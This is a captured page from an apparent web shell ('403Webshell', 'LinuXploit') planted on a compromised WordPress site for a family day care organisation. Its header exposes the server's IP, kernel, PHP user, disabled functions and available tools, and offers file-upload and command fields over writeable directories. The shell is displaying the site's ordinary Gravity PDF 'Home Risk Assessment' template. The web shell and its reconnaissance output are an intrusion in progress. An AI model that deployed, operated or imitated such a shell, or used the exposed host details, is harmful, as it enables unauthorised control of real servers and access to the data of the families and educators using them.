403Webshell
Server IP : 35.201.19.92  /  Your IP : 216.73.216.188
Web Server : nginx
System : Linux pod-200961 6.8.0-1055-gke #61-Ubuntu SMP Tue May 26 22:57:42 UTC 2026 x86_64
User : fpm200098 ( 200098)
PHP Version : 8.2.33
Disable Function : apache_child_terminate,apache_get_modules,apache_get_version,apache_getenv,apache_note,apache_setenv,disk_free_space,disk_total_space,diskfreespace,dl,exec,fastcgi_finish_request,link,opcache_compile_file,opcache_get_configuration,opcache_invalidate,opcache_is_script_cached,opcache_reset,passthru,pclose,pcntl_exec,popen,posix_getpid,posix_getppid,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,realpath_cache_get,shell_exec,show_source,symlink,system
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nas/content/live/questfamilyday/wp-content/uploads/PDF_EXTENDED_TEMPLATES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /nas/content/live/questfamilyday/wp-content/uploads/PDF_EXTENDED_TEMPLATES/home-risk-assessment.php
<?php

/**
 * Template Name: Home Risk Assessment
 * Version: 0.1
 */

/* Prevent direct access to the template (always good to include this) */
if ( ! class_exists( 'GFForms' ) ) {
	return;
}

/**
 * All Gravity PDF v4/v5/v6 templates have access to the following variables:
 *
 * @var array  $form      The current Gravity Form array
 * @var array  $entry     The raw entry data
 * @var array  $form_data The processed entry data stored in an array
 * @var object $settings  The current PDF configuration
 * @var array  $fields    An array of Gravity Form fields which can be accessed with their ID number
 * @var array  $config    The initialised template config class – eg. /config/zadani.php
 */

$created_posts = gform_get_meta( $entry['id'], 'gravityformsadvancedpostcreation_post_id' );
$postID = 0;

foreach ( $created_posts as $post ) {
    $postID = $post['post_id'];
}

$completed_date = get_post_meta($postID, 'risk_assessment_completed_date', true);
$renewal_date = get_post_meta($postID, 'risk_assessment_renewal_date', true);
$plan_prepared_by = get_post_meta($postID, 'risk_assessment_plan_prepared_by', true);
$communicated_to = get_post_meta($postID, 'risk_assessment_communicated_to', true);
$name_of_educator = get_post_meta($postID, 'risk_assessment_name_of_educator', true);
$contact_number_educator = get_post_meta($postID, 'risk_assessment_contact_number_educator', true);
$number_of_children = get_post_meta($postID, 'risk_assessment_number_of_children', true);
$educator_to_child_ratio = get_post_meta($postID, 'risk_assessment_educator_to_child_ratio', true);
$fire_extinguisher_location = get_post_meta($postID, 'risk_assessment_fire_extinguisher_location', true);
$fire_blanket_location = get_post_meta($postID, 'risk_assessment_fire_blanket_location', true);
$emergency_bag_location = get_post_meta($postID, 'risk_assessment_emergency_bag_location', true);
$first_aid_kit_location = get_post_meta($postID, 'risk_assessment_first_aid_kit_location', true);
$communication_device_location = get_post_meta($postID, 'risk_assessment_communication_device_location', true);
$communication_device_type = get_post_meta($postID, 'risk_assessment_communication_device_type', true);
$communication_device_number = get_post_meta($postID, 'risk_assessment_communication_device_number', true);
?>

<style>
	@page {
		margin: 0;
	}
	* {
        box-sizing: border-box;
    }
	body {
		font-family: Arial, Helvetica, sans-serif;
		padding: 0;
		margin: 0px;
		font-size: 10px;
	}
	#container-page-wrap {
        padding: 30px 20px 20px;
	}
    hr {
        height: 0;
        color: rgb(255, 255, 255);
        margin:0 0 5px 0;
    }
    table {
        border-collapse: separate;
        border-spacing: 0;
        border-width: 1px 0 0 1px;
        width: 100%;
        line-height: 1.3;
    }
    table, td, th {
        border-style: solid;
        border-color: rgba(0, 0, 0, 1);
    }
    table + table {
        border-top: 0;
    }
    td, th {
        padding: 8px;
        border-width: 0 1px 1px 0;
        vertical-align: top;
    }
    th {
        background-color: #F2F2F2;
    }
    .bgpdf-primary {
        background-color: #A5C9EB;
    }
    .bgpdf-secondary {
        background-color: #F2F2F2;
    }
    .bg-light-gray {
        background-color: #EAF2FA;
    }
    .form-head tr:nth-child(1) th,.form-footer td {
        background-color: #A5C9EB;
    }
    .form-risk th {
        text-transform: uppercase;
        padding: 11px 40px;
        text-align: left;
    }

    .form-head th {
        vertical-align: middle;
    }

    .form-head th:nth-child(1),
    .form-risk td:nth-child(1) {
        width: 16%
    }

    .form-head th:nth-child(2),
    .form-risk td:nth-child(2) {
        width: 16%;
    }

    .form-head th:nth-child(3), .form-head th:nth-child(5), .form-risk td:nth-child(6),
    .form-risk td:nth-child(3), .form-risk td:nth-child(5), .form-risk td:nth-child(6) {
        width: 10%;
    }

    .form-head th:nth-child(4),
    .form-risk td:nth-child(4) {
        width: 38%;
    }

    .form-risk td {
    }

    .data-fields-table td:nth-child(1), .data-fields-table td:nth-child(3) {
        width: 19%;
        vertical-align: middle;
    }

    .data-fields-table td:nth-child(2), .data-fields-table td:nth-child(4) {
        width: 10.5%;
        vertical-align: middle;
    }

    td.risk-guide-td {
        width: 38%;
        vertical-align: middle;
    }
    .fw-bold {
        font-weight: bold;
    }

</style>

<section id="container-page-wrap">

    <table class="data-fields-table">
        <thead>
            <tr><th colspan="5" class="bgpdf-primary" align="center" style="padding: 11px 40px;">HOME RISK ASSESSMENT</th></tr>
        </thead>
        <tbody>
            <tr>
                <td colspan="5" align="center">Risk Assessment for the purpose of identifying potential hazards that exist in the FDC Residence environment and how these risks have been eliminated/minimised. This document compliments the Quest FDC annual home safety assessment.</td>
            </tr>
            <tr>
                <td class="fw-bold">Risk Assessment Completed:</td>
                <td><?php echo get_date_modified_field_format( $completed_date );  ?></td>
                <td class="fw-bold">Form Renewal Date:</td>
                <td><?php echo get_date_modified_field_format( $renewal_date ); ?></td>
                <td rowspan="9" class="risk-guide-td">
                    <div class="risk-guide-img">
                        <img src="/wp-content/uploads/2024/11/home-risk-doc-image.jpg" alt="" width="auto" height="200px" style="width: auto;height: 200px;">
                    </div>
                </td>
            </tr>
            <tr>
                <td class="fw-bold">Plan Prepared By:</td>
                <td><?php echo $plan_prepared_by; ?></td>
                <td class="fw-bold">Communicated to:</td>
                <td><?php echo $communicated_to; ?></td>
            </tr>
            <tr>
                <td class="fw-bold">Name of Educator</td>
                <td><?php echo $name_of_educator; ?></td>
                <td class="fw-bold">Contact number of Educator</td>
                <td><?php echo $contact_number_educator; ?></td>
            </tr>
            <tr>
                <td class="fw-bold">Number of children</td>
                <td><?php echo $number_of_children; ?></td>
                <td class="fw-bold" style="width: 250px;">Day to day Educator to child ratio</td>
                <td><?php echo $educator_to_child_ratio; ?></td>
            </tr>
            <tr>
                <td class="fw-bold">Fire Extinguisher Location</td>
                <td><?php echo $fire_extinguisher_location; ?></td>
                <td class="fw-bold">Fire Blanket Location</td>
                <td><?php echo $fire_blanket_location; ?></td>
            </tr>
            <tr>
                <td class="fw-bold">Emergency Bag Location</td>
                <td><?php echo $emergency_bag_location; ?></td>
                <td class="fw-bold">First Aid Kit Location</td>
                <td><?php echo $first_aid_kit_location; ?></td>
            </tr>
            <tr>
                <td rowspan="3" colspan="2" class="fw-bold">Fixed Communication Device</td>
                <td colspan="2"><strong>Location:</strong> <?php echo $communication_device_location; ?></td>
            </tr>
            <tr>
                <td colspan="2"><strong>Type:</strong> <?php echo $communication_device_type; ?></td>
            </tr>
            <tr>
                <td colspan="2"><strong>Number:</strong> <?php echo $communication_device_number; ?></td>
            </tr>
        </tbody>
    </table>
    
	<?php
	$pdf_postcontent = '';

	$created_posts = gform_get_meta( $entry['id'], 'gravityformsadvancedpostcreation_post_id' );

	foreach ( $created_posts as $post ){
	    $post_id = $post['post_id'];

	    // Get the full content of a post with the html tags - unstripped
	    $query = get_post($post_id);
        // Provides: <body text='black'>
        $post_content = str_replace("</div>", "</div><hr>", $query->post_content);

		$pdf_postcontent = apply_filters('the_content', $post_content);
	}

	echo $pdf_postcontent;
	?>


	<!-- {Post Body:23} -->
</section>

Youez - 2016 - github.com/yon3zu
LinuXploit